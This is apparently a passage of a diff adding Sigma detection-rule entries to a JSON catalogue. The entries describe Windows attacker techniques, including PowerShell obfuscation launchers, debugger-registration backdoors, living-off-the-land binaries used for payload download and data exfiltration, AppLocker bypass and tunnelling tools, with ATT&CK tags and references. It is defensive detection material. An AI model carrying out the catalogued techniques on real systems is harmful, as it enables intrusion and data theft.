"refs": [ + "https://blogs.technet.microsoft.com/jonathantrull/2016/10/03/detecting-sticky-key-backdoors/", + "https://bazaar.abuse.ch/sample/6f3aa9362d72e806490a8abce245331030d1ab5ac77e400dd475748236a6cc81/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_install_reg_debugger_backdoor.yml" + ], + "tags": [ + "attack.persistence", + "attack.privilege_escalation", + "attack.t1546.008" + ] + }, + "uuid": "ae215552-081e-44c7-805f-be16f975c8a2", + "value": "Suspicious Debugger Registration Cmdline" + }, + { + "description": "Detect an interactive AT job, which may be used as a form of privilege escalation.", + "meta": { + "author": "E.M. Anhaus (originally from Atomic Blue Detections, Endgame), oscd.community", + "creation_date": "2019/10/24", + "falsepositive": [ + "Unlikely (at.exe deprecated as of Windows 8)" + ], + "filename": "proc_creation_win_interactive_at.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1053.002/T1053.002.md", + "https://eqllib.readthedocs.io/en/latest/analytics/d8db43cf-ed52-4f5c-9fb3-c9a4b95a0b56.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_interactive_at.yml" + ], + "tags": [ + "attack.privilege_escalation", + "attack.t1053.002" + ] + }, + "uuid": "60fc936d-2eb0-4543-8a13-911c750a1dfc", + "value": "Interactive AT Job" + }, + { + "description": "Detects Obfuscated use of Clip.exe to execute PowerShell", + "meta": { + "author": "Jonathan Cheong, oscd.community", + "creation_date": "2020/10/13", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_invoke_obfuscation_clip.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://github.com/Neo23x0/sigma/issues/1009", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_invoke_obfuscation_clip.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1027", + "attack.execution", + "attack.t1059.001" + ] + }, + "uuid": "b222df08-0e07-11eb-adc1-0242ac120002", + "value": "Invoke-Obfuscation CLIP+ Launcher" + }, + { + "description": "Detects all variations of obfuscated powershell IEX invocation code generated by Invoke-Obfuscation framework from the following code block", + "meta": { + "author": "Daniel Bohannon (@Mandiant/@FireEye), oscd.community", + "creation_date": "2019/11/08", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_invoke_obfuscation_obfuscated_iex_commandline.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://github.com/danielbohannon/Invoke-Obfuscation/blob/f20e7f843edd0a3a7716736e9eddfa423395dd26/Out-ObfuscatedStringCommand.ps1#L873-L888", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_invoke_obfuscation_obfuscated_iex_commandline.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1027", + "attack.execution", + "attack.t1059.001" + ] + }, + "uuid": "4bf943c6-5146-4273-98dd-e958fd1e3abf", + "value": "Invoke-Obfuscation Obfuscated IEX Invocation" + }, + { + "description": "Detects Obfuscated use of stdin to execute PowerShell", + "meta": { + "author": "Jonathan Cheong, oscd.community", + "creation_date": "2020/10/15", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_invoke_obfuscation_stdin.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://github.com/Neo23x0/sigma/issues/1009", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_invoke_obfuscation_stdin.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1027", + "attack.execution", + "attack.t1059.001" + ] + }, + "uuid": "6c96fc76-0eb1-11eb-adc1-0242ac120002", + "value": "Invoke-Obfuscation STDIN+ Launcher" + }, + { + "description": "Detects Obfuscated use of Environment Variables to execute PowerShell", + "meta": { + "author": "Jonathan Cheong, oscd.community", + "creation_date": "2020/10/15", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_invoke_obfuscation_var.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://github.com/Neo23x0/sigma/issues/1009", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_invoke_obfuscation_var.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1027", + "attack.execution", + "attack.t1059.001" + ] + }, + "uuid": "27aec9c9-dbb0-4939-8422-1742242471d0", + "value": "Invoke-Obfuscation VAR+ Launcher" + }, + { + "description": "Detects Obfuscated Powershell via COMPRESS OBFUSCATION", + "meta": { + "author": "Timur Zinniatullin, oscd.community", + "creation_date": "2020/10/18", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_invoke_obfuscation_via_compress.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://github.com/Neo23x0/sigma/issues/1009", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_invoke_obfuscation_via_compress.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1027", + "attack.execution", + "attack.t1059.001" + ] + }, + "uuid": "7eedcc9d-9fdb-4d94-9c54-474e8affc0c7", + "value": "Invoke-Obfuscation COMPRESS OBFUSCATION" + }, + { + "description": "Detects Obfuscated Powershell via RUNDLL LAUNCHER", + "meta": { + "author": "Timur Zinniatullin, oscd.community", + "creation_date": "2020/10/18", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_invoke_obfuscation_via_rundll.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://github.com/Neo23x0/sigma/issues/1009", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_invoke_obfuscation_via_rundll.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1027", + "attack.execution", + "attack.t1059.001" + ] + }, + "uuid": "056a7ee1-4853-4e67-86a0-3fd9ceed7555", + "value": "Invoke-Obfuscation RUNDLL LAUNCHER" + }, + { + "description": "Detects Obfuscated Powershell via Stdin in Scripts", + "meta": { + "author": "Nikita Nazarov, oscd.community", + "creation_date": "2020/10/12", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_invoke_obfuscation_via_stdin.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://github.com/Neo23x0/sigma/issues/1009", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_invoke_obfuscation_via_stdin.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1027", + "attack.execution", + "attack.t1059.001" + ] + }, + "uuid": "9c14c9fa-1a63-4a64-8e57-d19280559490", + "value": "Invoke-Obfuscation Via Stdin" + }, + { + "description": "Detects Obfuscated Powershell via use Clip.exe in Scripts", + "meta": { + "author": "Nikita Nazarov, oscd.community", + "creation_date": "2020/10/09", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_invoke_obfuscation_via_use_clip.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://github.com/Neo23x0/sigma/issues/1009", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_invoke_obfuscation_via_use_clip.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1027", + "attack.execution", + "attack.t1059.001" + ] + }, + "uuid": "e1561947-b4e3-4a74-9bdd-83baed21bdb5", + "value": "Invoke-Obfuscation Via Use Clip" + }, + { + "description": "Detects Obfuscated Powershell via use MSHTA in Scripts", + "meta": { + "author": "Nikita Nazarov, oscd.community", + "creation_date": "2020/10/08", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_invoke_obfuscation_via_use_mhsta.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://github.com/Neo23x0/sigma/issues/1009", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_invoke_obfuscation_via_use_mhsta.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1027", + "attack.execution", + "attack.t1059.001" + ] + }, + "uuid": "ac20ae82-8758-4f38-958e-b44a3140ca88", + "value": "Invoke-Obfuscation Via Use MSHTA" + }, + { + "description": "Detects Obfuscated Powershell via use Rundll32 in Scripts", + "meta": { + "author": "Nikita Nazarov, oscd.community", + "creation_date": "2019/10/08", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_invoke_obfuscation_via_use_rundll32.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://github.com/Neo23x0/sigma/issues/1009", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_invoke_obfuscation_via_use_rundll32.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1027", + "attack.execution", + "attack.t1059.001" + ] + }, + "uuid": "36c5146c-d127-4f85-8e21-01bf62355d5a", + "value": "Invoke-Obfuscation Via Use Rundll32" + }, + { + "description": "Detects Obfuscated Powershell via VAR++ LAUNCHER", + "meta": { + "author": "Timur Zinniatullin, oscd.community", + "creation_date": "2020/10/13", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_invoke_obfuscation_via_var.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://github.com/Neo23x0/sigma/issues/1009", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_invoke_obfuscation_via_var.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1027", + "attack.execution", + "attack.t1059.001" + ] + }, + "uuid": "e9f55347-2928-4c06-88e5-1a7f8169942e", + "value": "Invoke-Obfuscation VAR++ LAUNCHER OBFUSCATION" + }, + { + "description": "Detects the use of IOX - a tool for port forwarding and intranet proxy purposes", + "meta": { + "author": "Florian Roth", + "creation_date": "2022/10/08", + "falsepositive": [ + "Legitimate use" + ], + "filename": "proc_creation_win_iox.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://github.com/EddieIvan01/iox", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_iox.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1090" + ] + }, + "uuid": "d7654f02-e04b-4934-9838-65c46f187ebc", + "value": "IOX Tunneling Tool" + }, + { + "description": "Detect the use of Jlaive to execute assemblies in a copied PowerShell", + "meta": { + "author": "Jose Luis Sanchez Martinez (@Joseliyo_Jstnk)", + "creation_date": "2022/05/24", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_jlaive_batch_execution.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://jstnk9.github.io/jstnk9/research/Jlaive-Antivirus-Evasion-Tool", + "https://github.com/ch2sh/Jlaive", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_jlaive_batch_execution.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.003" + ] + }, + "uuid": "0a99eb3e-1617-41bd-b095-13dc767f3def", + "value": "Jlaive Usage For Assembly Execution In-Memory" + }, + { + "description": "Detects the use of Ldifde.exe with specific command line arguments to potentially load an LDIF file containing HTTP-based arguments.\nLdifde.exe is present, by default, on domain controllers and only requires user-level authentication to execute.\n", + "meta": { + "author": "@gott_cyber", + "creation_date": "2022/09/02", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_ldifde_file_load.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://twitter.com/0gtweet/status/1564968845726580736", + "https://strontic.github.io/xcyclopedia/library/ldifde.exe-979DE101F5059CEC1D2C56967CA2BAC0.html", + "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/cc731033(v=ws.11)", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_ldifde_file_load.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1105", + "attack.defense_evasion", + "attack.t1218" + ] + }, + "uuid": "6f535e01-ca1f-40be-ab8d-45b19c0c8b7f", + "value": "Suspicious Ldifde Command Usage" + }, + { + "description": "Detects MSHTA.EXE spwaned by SVCHOST as seen in LethalHTA and described in report", + "meta": { + "author": "Markus Neis", + "creation_date": "2018/06/07", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_lethalhta.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://codewhitesec.blogspot.com/2018/07/lethalhta.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lethalhta.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1218.005" + ] + }, + "uuid": "ed5d72a6-f8f4-479d-ba79-02f6a80d7471", + "value": "MSHTA Spwaned by SVCHOST" + }, + { + "description": "Local accounts, System Owner/User discovery using operating systems utilities", + "meta": { + "author": "Timur Zinniatullin, Daniil Yugoslavskiy, oscd.community", + "creation_date": "2019/10/21", + "falsepositive": [ + "Legitimate administrator or user enumerates local users for legitimate reason" + ], + "filename": "proc_creation_win_local_system_owner_account_discovery.yml", + "level": "low", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1033/T1033.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_local_system_owner_account_discovery.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1033", + "attack.t1087.001" + ] + }, + "uuid": "502b42de-4306-40b4-9596-6f590c81f073", + "value": "Local Accounts Discovery" + }, + { + "description": "An adversary may use legitimate desktop support and remote access software, such as Team Viewer, Go2Assist, LogMein, AmmyyAdmin, etc, to establish an interactive command and control channel to target systems within networks.\nThese services are commonly used as legitimate technical support software, and may be allowed by application control within a target environment.\nRemote access tools like VNC, Ammyy, and Teamviewer are used frequently when compared with other legitimate software commonly used by adversaries. (Citation: Symantec Living off the Land)\n", + "meta": { + "author": "frack113", + "creation_date": "2022/02/11", + "falsepositive": [ + "Legitimate use" + ], + "filename": "proc_creation_win_logmein.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1219/T1219.md#atomic-test-3---logmein-files-detected-test-on-windows", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_logmein.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1219" + ] + }, + "uuid": "d85873ef-a0f8-4c48-a53a-6b621f11729d", + "value": "Use of LogMeIn Remote Access Software" + }, + { + "description": "Detects creation or execution of UserInitMprLogonScript persistence method", + "meta": { + "author": "Tom Ueltschi (@c_APT_ure), Tim Shelton", + "creation_date": "2019/01/12", + "falsepositive": [ + "Exclude legitimate logon scripts" + ], + "filename": "proc_creation_win_logon_scripts_userinitmprlogonscript_proc.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://attack.mitre.org/techniques/T1037/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_logon_scripts_userinitmprlogonscript_proc.yml" + ], + "tags": [ + "attack.t1037.001", + "attack.persistence" + ] + }, + "uuid": "0a98a10c-685d-4ab0-bddc-b6bdd1d48458", + "value": "Logon Scripts (UserInitMprLogonScript)" + }, + { + "description": "This rule will monitor any office apps that spins up a new LOLBin process. This activity is pretty suspicious and should be investigated.", + "meta": { + "author": "Vadim Khrykov (ThreatIntel), Cyb3rEng (Rule), Michael Haag, Christopher Peacock @securepeacock (Update), SCYTHE @scythe_io (Update)", + "creation_date": "2021/08/23", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_lolbins_by_office_applications.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://thedfirreport.com/2021/03/29/sodinokibi-aka-revil-ransomware/", + "https://doublepulsar.com/follina-a-microsoft-office-code-execution-vulnerability-1a47fce5629e", + "https://github.com/vadim-hunter/Detection-Ideas-Rules/blob/02bcbfc2bfb8b4da601bb30de0344ae453aa1afe/Threat%20Intelligence/The%20DFIR%20Report/20210329_Sodinokibi_(aka_REvil)_Ransomware.yaml", + "https://github.com/splunk/security_content/blob/develop/detections/endpoint/office_spawning_control.yml", + "https://twitter.com/andythevariable/status/1576953781581144064?s=20&t=QiJILvK4ZiBdR8RJe24u-A", + "https://www.elastic.co/security-labs/exploring-the-ref2731-intrusion-set", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbins_by_office_applications.yml" + ], + "tags": [ + "attack.t1204.002", + "attack.t1047", + "attack.t1218.010", + "attack.execution", + "attack.defense_evasion" + ] + }, + "uuid": "23daeb52-e6eb-493c-8607-c4f0246cb7d8", + "value": "New Lolbin Process by Office Applications" + }, + { + "description": "This rule will monitor LOLBin process creations by wmiprvse. Add more LOLBins to rule logic if needed.", + "meta": { + "author": "Vadim Khrykov (ThreatIntel), Cyb3rEng (Rule)", + "creation_date": "2021/08/23", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_lolbins_with_wmiprvse_parent_process.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://thedfirreport.com/2021/03/29/sodinokibi-aka-revil-ransomware/", + "https://github.com/vadim-hunter/Detection-Ideas-Rules/blob/02bcbfc2bfb8b4da601bb30de0344ae453aa1afe/Threat%20Intelligence/The%20DFIR%20Report/20210329_Sodinokibi_(aka_REvil)_Ransomware.yaml", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbins_with_wmiprvse_parent_process.yml" + ], + "tags": [ + "attack.t1204.002", + "attack.t1047", + "attack.t1218.010", + "attack.execution", + "attack.defense_evasion" + ] + }, + "uuid": "8a582fe2-0882-4b89-a82a-da6b2dc32937", + "value": "Lolbins Process Creation with WmiPrvse" + }, + { + "description": "The \"AdPlus.exe\" binary that is part of the Windows SDK can be used as a lolbin to dump process memory and execute arbitrary commands", + "meta": { + "author": "Nasreddine Bencherchali", + "creation_date": "2022/06/09", + "falsepositive": [ + "Legitimate usage of Adplus" + ], + "filename": "proc_creation_win_lolbin_adplus.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://lolbas-project.github.io/lolbas/OtherMSBinaries/Adplus/", + "https://twitter.com/nas_bench/status/1534916659676422152", + "https://twitter.com/nas_bench/status/1534915321856917506", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_adplus.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.execution", + "attack.t1003.001" + ] + }, + "uuid": "2f869d59-7f6a-4931-992c-cce556ff2d53", + "value": "Use of Adplus.exe" + }, + { + "description": "Execute C# code with the Build Provider and proper folder structure in place.", + "meta": { + "author": "frack113", + "creation_date": "2021/11/24", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_lolbin_aspnet_compiler.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://lolbas-project.github.io/lolbas/Binaries/Aspnet_Compiler/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_aspnet_compiler.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1127" + ] + }, + "uuid": "a01b8329-5953-4f73-ae2d-aa01e1f35f00", + "value": "Suspicious aspnet_compiler.exe Execution" + }, + { + "description": "Performs execution of specified file, can be used for defensive evasion.", + "meta": { + "author": "frack113", + "creation_date": "2021/11/24", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_lolbin_bash.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://lolbas-project.github.io/lolbas/Binaries/Bash/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_bash.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1202" + ] + }, + "uuid": "5edc2273-c26f-406c-83f3-f4d948e740dd", + "value": "Suspicious Subsystem for Linux Bash Execution" + }, + { + "description": "Detects when a user downloads file by using CertOC.exe", + "meta": { + "author": "Nasreddine Bencherchali", + "creation_date": "2022/05/16", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_lolbin_certoc_download.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://lolbas-project.github.io/lolbas/Binaries/Certoc/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_certoc_download.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1105" + ] + }, + "uuid": "70ad0861-d1fe-491c-a45f-fa48148a300d", + "value": "Suspicious File Download via CertOC.exe" + }, + { + "description": "Detects the execution of Xwizard tool with specific arguments which utilized to run custom class properties.", + "meta": { + "author": "Ensar Şamil, @sblmsrsn, @oscd_initiative", + "creation_date": "2020/10/07", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_lolbin_class_exec_xwizard.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://lolbas-project.github.io/lolbas/Binaries/Xwizard/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_class_exec_xwizard.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1218" + ] + }, + "uuid": "53d4bb30-3f36-4e8a-b078-69d36c4a79ff", + "value": "Custom Class Execution via Xwizard" + }, + { + "description": "Detects Execution via SyncInvoke in CL_Invocation.ps1 module", + "meta": { + "author": "oscd.community, Natalia Shornikova", + "creation_date": "2020/10/14", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_lolbin_cl_invocation.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://lolbas-project.github.io/lolbas/Scripts/Cl_invocation/", + "https://twitter.com/bohops/status/948061991012327424", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_cl_invocation.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1216" + ] + }, + "uuid": "a0459f02-ac51-4c09-b511-b8c9203fc429", + "value": "Execution via CL_Invocation.ps1" + }, + { + "description": "Detects the use of a Microsoft signed script to execute commands and bypassing AppLocker.", + "meta": { + "author": "frack113", + "creation_date": "2022/05/21", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_lolbin_cl_loadassembly.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://bohops.com/2018/01/07/executing-commands-and-bypassing-applocker-with-powershell-diagnostic-scripts/", + "https://lolbas-project.github.io/lolbas/Scripts/CL_LoadAssembly/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_cl_loadassembly.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1216" + ] + }, + "uuid": "c57872c7-614f-4d7f-a40d-b78c8df2d30d", + "value": "CL_LoadAssembly.ps1 Proxy Execution" + }, + { + "description": "Detects the use of a Microsoft signed script to execute commands", + "meta": { + "author": "oscd.community, Natalia Shornikova, frack113", + "creation_date": "2022/05/21", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_lolbin_cl_mutexverifiers.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://lolbas-project.github.io/lolbas/Scripts/CL_mutexverifiers/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_cl_mutexverifiers.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1216" + ] + }, + "uuid": "1e0e1a81-e79b-44bc-935b-ddb9c8006b3d", + "value": "CL_Mutexverifiers.ps1 Proxy Execution" + }, + { + "description": "lolbas Cmdl32 is use to download a payload to evade antivirus", + "meta": { + "author": "frack113", + "creation_date": "2021/11/03", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_lolbin_cmdl32.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://lolbas-project.github.io/lolbas/Binaries/Cmdl32/", + "https://twitter.com/SwiftOnSecurity/status/1455897435063074824", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_cmdl32.yml" + ], + "tags": [ + "attack.execution", + "attack.defense_evasion", + "attack.t1218", + "attack.t1202" + ] + }, + "uuid": "f37aba28-a9e6-4045-882c-d5004043b337", + "value": "Suspicious Cmdl32 Execution" + }, + { + "description": "Upload file, credentials or data exfiltration with Binary part of Windows Defender", + "meta": { + "author": "frack113", + "creation_date": "2021/11/26", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_lolbin_configsecuritypolicy.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://lolbas-project.github.io/lolbas/Binaries/ConfigSecurityPolicy/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_configsecuritypolicy.yml" + ], + "tags": [ + "attack.exfiltration", + "attack.t1567" + ] + }, + "uuid": "1f0f6176-6482-4027-b151-00071af39d7e", + "value": "Suspicious ConfigSecurityPolicy Execution" + }, + { + "description": "Adversaries can abuse of C:\\Windows\\System32\\gatherNetworkInfo.vbs script along with cscript.exe to gather information about the target", + "meta": { + "author": "blueteamer8699", + "creation_date": "2022/01/03", + "falsepositive": [ + "Administrative activity" + ], + "filename": "proc_creation_win_lolbin_cscript_gathernetworkinfo.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://posts.slayerlabs.com/living-off-the-land/#gathernetworkinfovbs", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_cscript_gathernetworkinfo.yml" + ], + "tags": [ + "attack.discovery", + "attack.execution", + "attack.t1615", + "attack.t1059.005" + ] + }, + "uuid": "575dce0c-8139-4e30-9295-1ee75969f7fe", + "value": "GatherNetworkInfo.vbs Script Usage" + }, + { + "description": "Detects the execution of CustomShellHost binary where the child isn't located in 'C:\\Windows\\explorer.exe'", + "meta": { + "author": "Nasreddine Bencherchali", + "creation_date": "2022/08/19", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_lolbin_customshellhost.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://github.com/LOLBAS-Project/LOLBAS/pull/180", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_customshellhost.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1216" + ] + }, + "uuid": "84b14121-9d14-416e-800b-f3b829c5a14d", + "value": "Suspicious CustomShellHost Execution" + }, + { + "description": "Detects when a user performs data exfiltration by using DataSvcUtil.exe", + "meta": { + "author": "Ialle Teixeira @teixeira0xfffff, Austin Songer @austinsonger", + "creation_date": "2021/09/30", + "falsepositive": [ + "DataSvcUtil.exe being used may be performed by a system administrator.", + "Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", + "DataSvcUtil.exe being executed from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." + ], + "filename": "proc_creation_win_lolbin_data_exfiltration_by_using_datasvcutil.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://gist.github.com/teixeira0xfffff/837e5bfed0d1b0a29a7cb1e5dbdd9ca6", + "https://docs.microsoft.com/en-us/dotnet/framework/data/wcf/wcf-data-service-client-utility-datasvcutil-exe", + "https://docs.microsoft.com/en-us/dotnet/framework/data/wcf/generating-the-data-service-client-library-wcf-data-services", + "https://docs.microsoft.com/en-us/dotnet/framework/data/wcf/how-to-add-a-data-service-reference-wcf-data-services", + "https://lolbas-project.github.io/lolbas/Binaries/DataSvcUtil/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_data_exfiltration_by_using_datasvcutil.yml" + ], + "tags": [ + "attack.exfiltration", + "attack.t1567" + ] + }, + "uuid": "e290b10b-1023-4452-a4a9-eb31a9013b3a", + "value": "LOLBAS Data Exfiltration by DataSvcUtil.exe" + }, + { + "description": "Detects the execution of DeviceCredentialDeployment to hide a process from view", + "meta": { + "author": "Nasreddine Bencherchali", + "creation_date": "2022/08/19", + "falsepositive": [ + "Unlikely" + ], + "filename": "proc_creation_win_lolbin_device_credential_deployment.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://github.com/LOLBAS-Project/LOLBAS/pull/147", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_device_credential_deployment.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1218" + ] + }, + "uuid": "b8b1b304-a60f-4999-9a6e-c547bde03ffd", + "value": "DeviceCredentialDeployment Execution" + }, + { + "description": "Compress target file into a cab file stored in the Alternate Data Stream (ADS) of the target file.", + "meta": { + "author": "frack113", + "creation_date": "2021/11/26", + "falsepositive": [ + "Very Possible" + ], + "filename": "proc_creation_win_lolbin_diantz_ads.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + 